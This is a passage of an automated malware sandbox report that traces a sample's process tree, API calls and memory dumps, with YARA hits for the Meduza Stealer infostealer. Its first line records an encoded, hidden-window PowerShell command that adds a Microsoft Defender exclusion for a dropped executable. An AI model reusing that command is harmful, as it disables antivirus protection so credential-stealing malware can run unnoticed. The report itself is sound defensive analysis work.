Commandline:	"powershell.exe" -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAagBvAG4AZQBzAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXAAzADgASABzAHEAdwBIAGwAYgBHAFwAMwBVAHUAeABUAEgANgBGAE0AWAAuAGUAeABlACcA
Imagebase:	0x7a0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	04:28:31
Start date:	15/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:28:32
Start date:	15/11/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:28:44
Start date:	15/11/2024
Path:	C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\AppData\Local\Temp\38HsqwHlbG\3UuxTH6FMX.exe"
Imagebase:	0x7ff7aa100000
File size:	2'632'704 bytes
MD5 hash:	183E24B654414D7BE786CCD8E6A108A5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: 00000008.00000002.2193147052.00000218BFD60000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.4%
Total number of Nodes:	323
Total number of Limit Nodes:	20

Executed Functions

Function 04AEE6E8 Relevance: 5.3, Strings: 4, Instructions: 265
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Hbq, xrefs: 04AEE85E
, xrefs: 04AEE784
(&^q, xrefs: 04AEE9B9
(bq, xrefs: 04AEE832

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID:
String ID: $(&^q$(bq$Hbq
API String ID: 0-1723523991
Opcode ID: 2ac2b6e66a81f1299252f42f0de96390c26bb0fd4529607aa3682eb1913f16c9
Instruction ID: 6a9258784a92c16190bb67a76d90a1c0e9e06e0108ec78f60aee828b3755ee41
Opcode Fuzzy Hash: 2ac2b6e66a81f1299252f42f0de96390c26bb0fd4529607aa3682eb1913f16c9
Instruction Fuzzy Hash: 34916E71E002199FDB18DFBAD8545BFBBF6EF88300B148529E415EB250DB35AD06CBA4

Function 073505E8 Relevance: 1.9, Strings: 1, Instructions: 654
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

{", xrefs: 07350C80, 07350C85

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID:
String ID: {"
API String ID: 0-4254758213
Opcode ID: 6618cd9e46f32d78736680263b12cf5c341e39901d1c220a34f966ca359687ed
Instruction ID: 04c0fad70cc5f36c8ca256ec2a48f9674bc5cc0819bdebdbf494a32466bbaafc
Opcode Fuzzy Hash: 6618cd9e46f32d78736680263b12cf5c341e39901d1c220a34f966ca359687ed
Instruction Fuzzy Hash: 8362AFB4A00229CFDB24CF68C984BD9B7B1FF4A300F5085A9D849AB365D771AE85CF51

Function 073554B0 Relevance: .4, Instructions: 352COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5904c2054c1a4130c12ed78bf2ca2579ee41b25e044f460da51d700b12b9ba7e
Instruction ID: 38c88272b3aa798b091a1355d10287fdc576a0b219561f9878fb46145899ada8
Opcode Fuzzy Hash: 5904c2054c1a4130c12ed78bf2ca2579ee41b25e044f460da51d700b12b9ba7e
Instruction Fuzzy Hash: 36D1CAB07017018FEB19EB79C550B6EB7FBAF89604F14846ED54ACB290DB39E902CB51

Function 04AEB9F1 Relevance: .3, Instructions: 329COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56adf78de4b46944b589eb783a809bcb8c8b621f751dadd6b3d4122112986671
Instruction ID: 5e215a33af04547b7f452748961819436da9d5db895180a1f6e4b6baa99afd09
Opcode Fuzzy Hash: 56adf78de4b46944b589eb783a809bcb8c8b621f751dadd6b3d4122112986671
Instruction Fuzzy Hash: 71D13E30A00209CFEB14DFA6C988BADBBF1BF88304F548554E525AF2A5DB74F945DB90

Function 07352978 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21c1b8af0e7572d3d84c73a7ed1781ecf03d505b5a13a4b87c9c2f1472f65fa2
Instruction ID: 628a7a4b13d36a8d9618e25c7f283a182cde75e6264e66e7e43acef86bb84d79
Opcode Fuzzy Hash: 21c1b8af0e7572d3d84c73a7ed1781ecf03d505b5a13a4b87c9c2f1472f65fa2
Instruction Fuzzy Hash: 95C1B5B4A41219CFDB14DF64C580B9EB7B2FF49304F2091A9D809AB365DB34AD86CF50

Function 0118AD68 Relevance: 1.7, APIs: 1, Instructions: 199
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e5b64d62b0a1fa79fde675447287b134f1beeb6e8fb4062795e0e330863c7b48
Instruction ID: 2315a175fe376b366f72871c1a272d4333f76022587d31249c6c9b515963faf0
Opcode Fuzzy Hash: e5b64d62b0a1fa79fde675447287b134f1beeb6e8fb4062795e0e330863c7b48
Instruction Fuzzy Hash: B5711470A00B058FD728EF29E54175ABBF1FF88304F008A2AD58AD7A90D775E946CF91

Function 04AE2AD8 Relevance: 1.6, APIs: 1, Instructions: 127
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(00000003,00000000,00000000,00000000,00000000,00000000,00000000), ref: 04AE2BF8

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 517bac9471c8537bdd6a42029f4e2090cb62cc7a6f94197a1c1bacddc3ed55a5
Instruction ID: 15acc7ea90f44a6c2eff4185a42c48773d95d523448aebe56715f3868ec1f80c
Opcode Fuzzy Hash: 517bac9471c8537bdd6a42029f4e2090cb62cc7a6f94197a1c1bacddc3ed55a5
Instruction Fuzzy Hash: EF413B72B402049FDB14EF6AC885AAEBBF5EF88314F1440A9E505EB361DB31EC41CB60

Function 01185A84 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 43f38e9efeedfa84980df8df2c78e0503b5955b8755cafe4f6e590ca258e52aa
Instruction ID: 20a97a658cd0a50447adcd4517fd8aeca021efd21b4c754e8556b59ede9f4bc4
Opcode Fuzzy Hash: 43f38e9efeedfa84980df8df2c78e0503b5955b8755cafe4f6e590ca258e52aa
Instruction Fuzzy Hash: 0731ECB1C04249CFDF18EFA8C8856EDBBB2EF46314F14808AC049AB256D775A946CF51

Function 0118590C Relevance: 1.6, APIs: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 011859C9

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 12793cc8187ec22edea82127cbc5691cdb661bd14ec870010d6bad8498759364
Instruction ID: aadfb397fc2796bbc6cc85e8f1bf2c24f3cb751ffa69b76f784d0150218d519f
Opcode Fuzzy Hash: 12793cc8187ec22edea82127cbc5691cdb661bd14ec870010d6bad8498759364
Instruction Fuzzy Hash: 2F41B3B0C00719CBDB14DFA9C9857CDBBB6FF49304F24805AD408AB255DB756946CF90

Function 011844B4 Relevance: 1.6, APIs: 1, Instructions: 96
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateActCtxA.KERNEL32(?), ref: 011859C9

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 23093db8255e8c585dbe8d06f7106ae504446cc041d1ae3a2314e931dc4c61cd
Instruction ID: 8120a8047ce6b95a97c4b21bb43298b275c168481e89e6ea2e6c33a17609b84e
Opcode Fuzzy Hash: 23093db8255e8c585dbe8d06f7106ae504446cc041d1ae3a2314e931dc4c61cd
Instruction Fuzzy Hash: 3F41A1B0C00719CBDB28DFA9C984BDDBBB6FF49304F24806AD408AB255DB756946CF91

Function 0118D701 Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0118D606,?,?,?,?,?), ref: 0118D6C7

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 6051fe74e0a4cb41c4208d69fa8af7c5a2c3643b8ef3c62cae8d98eb8c16c556
Instruction ID: 2eb3ffc7339d7f4a8b7978421221d5e2d81f94c49901935d16e59a4556084536
Opcode Fuzzy Hash: 6051fe74e0a4cb41c4208d69fa8af7c5a2c3643b8ef3c62cae8d98eb8c16c556
Instruction Fuzzy Hash: BC312974A403888FF704AFA5F88476A3BA6E788751F118529E9258F3D5CABC4D86CF11

Function 07353555 Relevance: 1.6, APIs: 1, Instructions: 66
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,07353DB0,03A7410C,02ABC20C), ref: 07353E41

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 73c4f4d8108ec4d6296991d4d96456675ae635a2f4fb47958c80b00207a2158b
Instruction ID: 2d9e3d9d08f373dfbb1278f53e5744e4832c5353963c5494e58aa7ac06e056d7
Opcode Fuzzy Hash: 73c4f4d8108ec4d6296991d4d96456675ae635a2f4fb47958c80b00207a2158b
Instruction Fuzzy Hash: 102157B1D00259CFDB10CF9AC844BEEFBF4EB98314F14842AD858A7250C778A945CF65

Function 0118B750 Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0118D606,?,?,?,?,?), ref: 0118D6C7

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 713a50d071ccdb5339d1a932dada5055b238ba8eaafa89a3f24cc757059957e2
Instruction ID: 2427f1b10e712197ac9780206a7a8a7ef53081d7a6d58158fa15250674437f75
Opcode Fuzzy Hash: 713a50d071ccdb5339d1a932dada5055b238ba8eaafa89a3f24cc757059957e2
Instruction Fuzzy Hash: 2D2103B5D00318DFDB10DF9AD984ADEBBF4EB48314F10801AE918A7350C374A940CFA4

Function 07353DC8 Relevance: 1.6, APIs: 1, Instructions: 63threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,07353DB0,03A7410C,02ABC20C), ref: 07353E41

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: b8f062625c767e60a79ab993a0fbccf1231202eddfcdebf8c51e0f8cdab067db
Instruction ID: c1426a9b6d7a8137c3af42d6b72af34d9ee45819f95d238318ae7e6db7df098a
Opcode Fuzzy Hash: b8f062625c767e60a79ab993a0fbccf1231202eddfcdebf8c51e0f8cdab067db
Instruction Fuzzy Hash: CE2129B19002599FDB14CF9AC844BEEFBF4EF88324F14842AD458A7350D774A945CFA5

Function 0735355C Relevance: 1.6, APIs: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

EnumThreadWindows.USER32(?,00000000,?,?,?,?,00000E20,?,?,07353DB0,03A7410C,02ABC20C), ref: 07353E41

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: EnumThreadWindows
String ID:
API String ID: 2941952884-0
Opcode ID: 422f7d685c21de8c7ad7a8448a77f743bac9de100983fcb44eddf501fb5b055f
Instruction ID: e71306f557717a41a2e2afb311804879788c6c987350e81f1776e603d76fab02
Opcode Fuzzy Hash: 422f7d685c21de8c7ad7a8448a77f743bac9de100983fcb44eddf501fb5b055f
Instruction Fuzzy Hash: A92129B1D00219DFEB14CF9AC844BEEFBF4EB88314F14842AD858A7250D774A945CFA5

Function 04AE2968 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 04AE29EC

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: 584fc0db4ae302dcfb2184eda5fcb9d08e1cb96eb730972d5342f81ef075aeb5
Instruction ID: 3a2bfbb8bb6f968f06124e694b95a1bf1c2febf66a3ef197b44ef1c494034405
Opcode Fuzzy Hash: 584fc0db4ae302dcfb2184eda5fcb9d08e1cb96eb730972d5342f81ef075aeb5
Instruction Fuzzy Hash: 1F2125B29017498FDB14CF9AD884AEEFBF4AF48320F14806AE458A7250D374A544CB64

Function 04AE2970 Relevance: 1.6, APIs: 1, Instructions: 61COMMON

Download Yara Rule

APIs

GetClassInfoW.USER32(?,00000000), ref: 04AE29EC

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: ClassInfo
String ID:
API String ID: 3534257612-0
Opcode ID: c9752907c940b4b89ab1844e7f4901e54a5d4e44c662b903d4b9127dca279dc5
Instruction ID: 3156939c1f5a59c726c05da8474a4a0a63e41d1f0e40d7a2c535490ac628b922
Opcode Fuzzy Hash: c9752907c940b4b89ab1844e7f4901e54a5d4e44c662b903d4b9127dca279dc5
Instruction Fuzzy Hash: 322115B29017598FDB10CF9AD884BEEFBF8FB48320F14806AD958A7250D374A944CB65

Function 0118D638 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,0118D606,?,?,?,?,?), ref: 0118D6C7

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 95fff53d7034c87a514005df32c3649ab5cef38892eeb2a4f5393fc9a046025f
Instruction ID: 0e31060a940dcfdec4326faa6a5a5ec900766047a76445bd4eb6c51c87c50b18
Opcode Fuzzy Hash: 95fff53d7034c87a514005df32c3649ab5cef38892eeb2a4f5393fc9a046025f
Instruction Fuzzy Hash: 7E21E2B5900359DFDB10CFAAE584ADEBBF5FB48314F24841AE958B7260C374A940CFA4

Function 073542C9 Relevance: 1.6, APIs: 1, Instructions: 59windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 0735434D

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: 19f5018bd773ddbe812dd4b35064a4b2f235d19a8a3f8b333f94b3bed54bfec1
Instruction ID: 2b8ed69b9284244c250ffccdaa29e8ff21147e919c7ef7809b3e18b5e9e1f2bd
Opcode Fuzzy Hash: 19f5018bd773ddbe812dd4b35064a4b2f235d19a8a3f8b333f94b3bed54bfec1
Instruction Fuzzy Hash: 292102B690035A9FDB14CF9AD884ADEFBB4BF48314F14842AD859AB210C375A584CFA0

Function 073542D0 Relevance: 1.6, APIs: 1, Instructions: 57windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(?,00000000,00000000,?), ref: 0735434D

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: Message
String ID:
API String ID: 2030045667-0
Opcode ID: eb569ab674d5b81127b6f053226ad93cc1cca930465ca14325e00f8915439751
Instruction ID: 5397b6fa10f90cc68a51fc263abcdb5cc9fc3b7759bdf8e7880bba3c9fbec336
Opcode Fuzzy Hash: eb569ab674d5b81127b6f053226ad93cc1cca930465ca14325e00f8915439751
Instruction Fuzzy Hash: 572113B58003599FDB14CF9AD884ADEFBB4FB88350F10842ED818A7210C375A584CFA0

Function 04AEBEF8 Relevance: 1.6, APIs: 1, Instructions: 54windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 04AEBF68

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 2c612883727da2d8e142c5922901afc0b8c6637cbe1734cbad63d212cfaba4a9
Instruction ID: 2d0598fd2e78c66e230f93dbd1a9f91e52a19422e3b4489e2cd68a8fdffea2b1
Opcode Fuzzy Hash: 2c612883727da2d8e142c5922901afc0b8c6637cbe1734cbad63d212cfaba4a9
Instruction Fuzzy Hash: FE1107B5800259DFDB10CF9AD944BEEFBF8FB48320F14842AE958A7251C378A545CFA5

Function 04AEC1C8 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 04AEC235

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 1fb0b76062d4019b984d489b6f2cb0b9329b7a4322a2aa951059d4ce82f2376b
Instruction ID: 8bf641e800a33d099b2e66dc4a417756627cfccb9580b4722a031b8e86d29a48
Opcode Fuzzy Hash: 1fb0b76062d4019b984d489b6f2cb0b9329b7a4322a2aa951059d4ce82f2376b
Instruction Fuzzy Hash: 1111F6B5800259DFDB10DF9AD844BEEFBF4FB48324F10842AE958A7251C378A545CFA5

Function 04AEBF00 Relevance: 1.6, APIs: 1, Instructions: 52windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,?,?,?), ref: 04AEBF68

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 5f95128458c6ba2be0b5b9c0053d17f02c6b0ef0fbf305435d5fde5b082cd21e
Instruction ID: 62666519ac73a4933c612b109c73deaebd766e1dd4818e892e4c1b197c6d9d29
Opcode Fuzzy Hash: 5f95128458c6ba2be0b5b9c0053d17f02c6b0ef0fbf305435d5fde5b082cd21e
Instruction Fuzzy Hash: 9B11D4B5800259DFDB10CF9AD944BEEFBF8EB48324F10842AE958A7251C379A544CFA5

Function 07354210 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 0735427F

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7a1e6bb8c3e15a0c74990de12b6334242039294b7e33a926a00e81d0e27d49a2
Instruction ID: 06d892b872b01ae3a5ae74f211c3294005ae130022ee65165c22319e65df6513
Opcode Fuzzy Hash: 7a1e6bb8c3e15a0c74990de12b6334242039294b7e33a926a00e81d0e27d49a2
Instruction Fuzzy Hash: 22116AB6800359CFDB10CF9AC445BEEFBF4EB58320F14802AD858A7240D338A584CFA5

Function 04AEC1D0 Relevance: 1.6, APIs: 1, Instructions: 51COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?), ref: 04AEC235

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 77a6827046fd7324847dde9be7e5e1a5de6ee70fd00ad245a205c7e1a4a2b076
Instruction ID: a1f688c1afc1365618c17a353eda8c3c8ff79be35818b948be6c58abc2cf6d6b
Opcode Fuzzy Hash: 77a6827046fd7324847dde9be7e5e1a5de6ee70fd00ad245a205c7e1a4a2b076
Instruction Fuzzy Hash: 1C11C3B58003599FDB10DF9AD944BEEFBF8FB48324F10842AE558A7251C378A544CFA5

Function 04AE4298 Relevance: 1.6, APIs: 1, Instructions: 51windowCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,?,?,?), ref: 04AE42FD

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: MessagePost
String ID:
API String ID: 410705778-0
Opcode ID: 02460cd28e4172c7cd7fc75dc96424bd61f5c49fc09b6187a649d3cd011b8750
Instruction ID: 06aeba46c315696023841f4170f97b6530f610cb675f6119e87f7c3538a41a04
Opcode Fuzzy Hash: 02460cd28e4172c7cd7fc75dc96424bd61f5c49fc09b6187a649d3cd011b8750
Instruction Fuzzy Hash: B61125B5800349DFDB10CF9AD845BEEFBF8EB58320F14841AE554A7251C378A984CFA5

Function 0118A0C0 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,?,?,?,0118AD84), ref: 0118AFBE

Memory Dump Source

Source File: 00000000.00000002.2133925487.0000000001180000.00000040.00000800.00020000.00000000.sdmp, Offset: 01180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1180000_9RM52QaURq.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7586eb5222a987b83e267b3b719c0d06e5ae71e585227289c604d39f6f278b4e
Instruction ID: 63d71a565e1a19c63b71e83bd8919eb407db0cdeaa014a5b459a3948c581f545
Opcode Fuzzy Hash: 7586eb5222a987b83e267b3b719c0d06e5ae71e585227289c604d39f6f278b4e
Instruction Fuzzy Hash: 901120B18002498FDB14DF9AD444ADEFBF4AF88318F10C42AD528B7250C378A545CFA1

Function 07354218 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?), ref: 0735427F

Memory Dump Source

Source File: 00000000.00000002.2140856094.0000000007350000.00000040.00000800.00020000.00000000.sdmp, Offset: 07350000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7350000_9RM52QaURq.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 790477e60cf214573f7d22a6f8aef0ef625b739e7c05cf0279aa85288451cb45
Instruction ID: 22ed5ea2cb3f4eda67e654731530bda5201160cef986eddb346daf583fd5ebde
Opcode Fuzzy Hash: 790477e60cf214573f7d22a6f8aef0ef625b739e7c05cf0279aa85288451cb45
Instruction Fuzzy Hash: 9F114CB5800359CFDB10CF9AC445BEEFBF4EB58320F14842AD858A7250D338A584CFA5

Function 04AE4860 Relevance: 1.5, APIs: 1, Instructions: 49comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32 ref: 04AE4FD5

Memory Dump Source

Source File: 00000000.00000002.2136281677.0000000004AE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04AE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4ae0000_9RM52QaURq.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 3b64e0c453ee803b4641a5d84aed248e207ef1b30bb89f9bb9a539396ea86ecc
Instruction ID: deab8a7a24bbe15833e85fbcf4d7383224c1af50625b8875dbc205f67ee61349
